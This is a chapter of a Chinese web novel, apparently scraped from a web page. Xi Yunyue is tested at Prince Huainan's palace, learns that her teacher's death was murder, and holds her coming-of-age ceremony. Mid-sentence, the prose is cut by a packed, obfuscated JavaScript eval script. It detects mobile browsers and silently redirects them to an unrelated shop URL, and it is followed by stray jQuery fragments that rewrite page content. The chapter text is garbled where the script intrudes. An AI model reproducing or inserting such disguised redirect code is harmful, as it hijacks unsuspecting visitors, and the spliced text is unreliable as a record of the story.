49. 第 49 章

作品:《被纨绔国舅碰瓷后

    听罢,奚云月便正大光明将脸抬起,注视着这位权势滔天的王爷。


    她看得极为认真,像是要将他的长相牢牢刻在心里,但不等她看过几息,玉容郡主便喝斥道:“放肆,谁让你这么看我父王的!父王,她就是个山里长大的野丫头,不懂什么规矩礼仪,招来她真是污了您的眼,横竖她和齐清晖是一脉相承,父王不如试试她好了。”


    听罢,怀南王扯了扯嘴角,“你想怎么试。”


    玉容停顿几息,复将目光落到奚云月脸上,“当然是拿她最擅长的手艺试了,若她能取代齐清晖,父王就要将人还我。”


    怀南王转头看她,深沉的眼像是有思索,“如果她取代不了呢。”


    “那你就杀了他好了。”


    这个他,是齐清晖,还是奚云月,都是含糊不清的。


    但怀南王扯了扯嘴角,到底不想让女儿失望,他懒散地拍了拍她的手背,“就如你所料,你帮父王试个明白,不要让父王失望。”


    她扬起唇角,朱红色的唇在夜明星的光亮显得有些妖异了,“父王放心,女儿必不会让你失望,奚云月,你应当,也不会让我失望,对吧。”


    奚云月将小岩尖死死地握在掌心,目光没有一丝波动,“不负郡主所托。”


    两人对视,眸里纷纷闪过微妙的情绪。


    但转瞬,玉容郡主就将目光挪开了,她所出的考题,便是让奚云月在一个时辰之内将砚台所有的残缺都一一修复。


    *


    寅时三刻,浑身大汗的奚云月站在了怀南王府的门口。


    玉容郡主坐在马车里,像一尊没有笑容的玉菩萨,怜悯地看着她渺小的影子,“看来你还有点用,没有让我父王失望。”


    她只有一句话,“我师兄。”


    “放心吧,你师兄暂时不会有事,但若想救他出来,光这样还不够。”


    奚云月红着眼,忽地冷笑出声,“我就不信,京里没有王法,任你们随意施为!”


    黑夜长夜寂静如墓园,鬼色森森,在这熹微即来的时刻,一切都是混沌不清,令人看不透,也摸不透的,玉容居高临下地扫视她,“本郡主当然不是随意施为的,但你师兄犯了错,被父王抓住把柄,就算是送官法办,也足以让他刺面发配了,他一个砚师,如今已经断了手,你还想让他过了发配流连的日子,你觉得他这样的人能够活上几天?”


    “我师兄向来雅正,他不会犯事!”


    玉容郡主答,“你并不了解他。”


    她唇边撇过一丝惨笑,“他做的事,你也并不知道,所以你凭什么以为可以替他做主。”


    奚云月咬牙,就算不知道又怎样,她了解师兄的为人。


    犯法的事他不会做,他长这么大,甚至不曾对与人对骂!


    这样善良的人,又怎会犯下刺面发配的重罪,“若他真有罪,也该是官府来判,而不是由你们私自行刑!”


    “若你想报,随时可去。”


    玉容郡主无动于衷,不再将目光掷于她身上,“但若是你师兄生不见人,死不见尸,即便官府又也不会理你,护好你自己吧,别像你师兄一样让我父王失望了。”


    车轮滚滚,马车逐渐远去。


    站在原地的奚云月被风一吹,湿透的短衫登时冒出一粒粒的疙瘩,她撑了半夜的心气终于塌下来,面色惨白。


    回到砚坊时,已经过了卯时,她强撑着力气走到院院,一屁股坐到了地上。


    听到响动,大门小心翼翼被人打开。


    里头的人瞧见是她,登时飞快地窜出将她扶起,不是桃子又是谁,奚云月一抬眼,看到何叔,玉堂,还伙计担忧的眼神。


    她道:“放心吧,我没事。”


    那些郡主府的官军直到天快亮才走,走时还告诫他们不要轻举妄动,他们惶恐等了半夜,差点以为奚云月回不来了,玉容试了几次遛出去,都被逮了回来,还挨了两鞭子。


    奚云月看起来模样齐整,身上也没有血迹,行动如常,顿时让他们松了口气,桃子红着眼,死死地抱着住了她的腰。


    现在天要亮了,邻里陆续有了活动,奚云月安排他们将铺子打开,一切如常,自己带着桃子等人进了里间,将门关上。


    玉堂身上有伤,先去涂药了休息。


    她和何叔说了会儿话,桃子端来刚煮好的面条过来,热气腾腾的面碗里,还窝着一枚蛋子,奚云月抖着手拿起筷子,似乎有些用不上力。


    桃子眼尖,瞧到她双手都红肿了,顿时心疼不已,“怎么伤成这样。”


    “没事,一些皮肉伤。”吃了些面条,肚腹里有了东西,奚云月才像是活过来了,“昨夜玉容郡主来过的事,谁也不要告诉,如果有人来打听,也推说什么都不知道。”


    “知道……那及笄礼怎么办?”


    奚云月都已经忘了这事,此时被桃子提起,神色掠过一丝恍惚。


    她抓着膝上的布料,仿佛还置身于怀南王府阴森森的厅堂里,那么多的夜明珠点缀成的光亮里,却只能让人感觉到阴寒。


    她身上仿佛还残留着师兄身上的血腥气。


    “不办了。”


    桃子急了,“都准备好了,怎么能就不办了。”


    如今奚云月已经十七了,再不办,难道要等到明年十八。


    女子及笄才可谈婚论嫁,若是没有名正言顺的身份,岂不是会耽误了她的婚事?她还想再劝,何叔却忽然开口。


    “奚老板,我虽是个外人,不知能否说几句。”


    “何叔客气,你的身份师兄早就告诉我了,我父亲姓季,而你是季家的人,所以你坐在这里,想说什么,都是合情合理的。”


    何叔怔了怔,忽觉对面的女子成长了不少。


    她逐渐有了他记忆中的影子,也有些像他的年轻时候了。


    “既然如此,那我就有话直说了,及笄礼是必须要办的,不是为了女子婚嫁,而是为了当家,如今的砚铺你才是话事人,大家的主心骨,这世道虽对女子颇多约


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047875|193024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    束,可好在有一条,婚嫁上却是自由散漫,随心而行,奚老板完全可以自己做主。”


    她咀嚼着这几个字,神色恍惚。


    “办完及笄礼,奚老板想如何做,全凭自由,外出经商也会更加方便,越是这个时候,越是不能让外人知道,砚坊遇到了麻烦。”


    桃子也在一旁点头,“是啊,是啊。”


    “既如此,那便听何叔的吧。”


    商量了这事,奚云月就去沐浴休息了,但何叔停顿半晌,仍是有话要说,她便暂缓了脚步,瞧着这位中年男子,何叔面貌儒雅,其实很不像个手艺人,到底是季家出来的,一言一行都很有大家的风范。


    奚云月很感激他愿意窝在自己这个小庙里,所以真心实意道了声谢,“多谢何叔。”


    何叔摆摆手,“奚老板不必客气,这本是我应当做的。”


    他瞧着逐渐升起的日头,有些话在心里埋久了,也想找个人吐露一番,他不知现在算不算最恰当的时候,但相处这么久,他也很了解奚云月的人品了,特别是是经过昨夜。


    他觉得,是时候了,“其实有件事,齐老板一直瞒着你。”


    听罢,奚云月心里居然是早该如此。


    她一直觉得师兄有事瞒着他,也忘不了她初到天京时师兄的冷漠,她心里的师兄随着年岁愈大越来越远,可唯有一条。


    她信他的人品。


    她相信他不是那样的人。


    她也知道,师兄心底有事,可到底有什么事呢,他已经功成名就,如此年轻就达到了许多人终极一生也不能达到的高度,他也实现了他的抱负,那他心底还藏着些什么。


    如此惨淡的情况下,她甚至还能挤出笑容,“何叔,我一直觉得他将你放到到我身边,是因为不放心,怕我经营上遇到麻烦。可是自从知道你是季家的人后,我又觉得你留在这里是你自愿的,因为我父亲的关系,师兄总把我当成小孩,什么都不和我说,以至于现在他出了事,我也像无头的苍蝇,完全不知道要怎么办,我想救他,却不知要怎样救。”


    “你师兄心底有仇恨,而我,也是一样的。”话到嘴边,却突然变得艰涩,何叔摇了摇,突然叹了口气,“季先生并不是喝醉了被淹死的。”


    他不敢看向女子微红的眼,仿佛只有这样,才能将话说下去,“齐老板亲眼看到了他被人谋害,他离开你,离开毗州县,是因为他一直在寻找真正的弑师仇人,我想他应当找到了。”


    *


    及笄礼还未开始时,裴忌骑马赶到,他翻身从马上下来,看着门口挂着新灯笼,那脸上的笑容一闪而过,便飞快地进了屋子。


    他没有惊动仪式,而在一旁默默观看。


    看着他心爱的女子换上从未穿过的大袖长裙礼服,发髻梳得一丝不苟,珠钗插在乌黑浓密的发里,皎好昳丽的面容映着日头,心中涌动着说不出的情愫。


    他眨了眨眼,只觉得一天一夜策马的疲累都是值得的。


    他总算没有错过。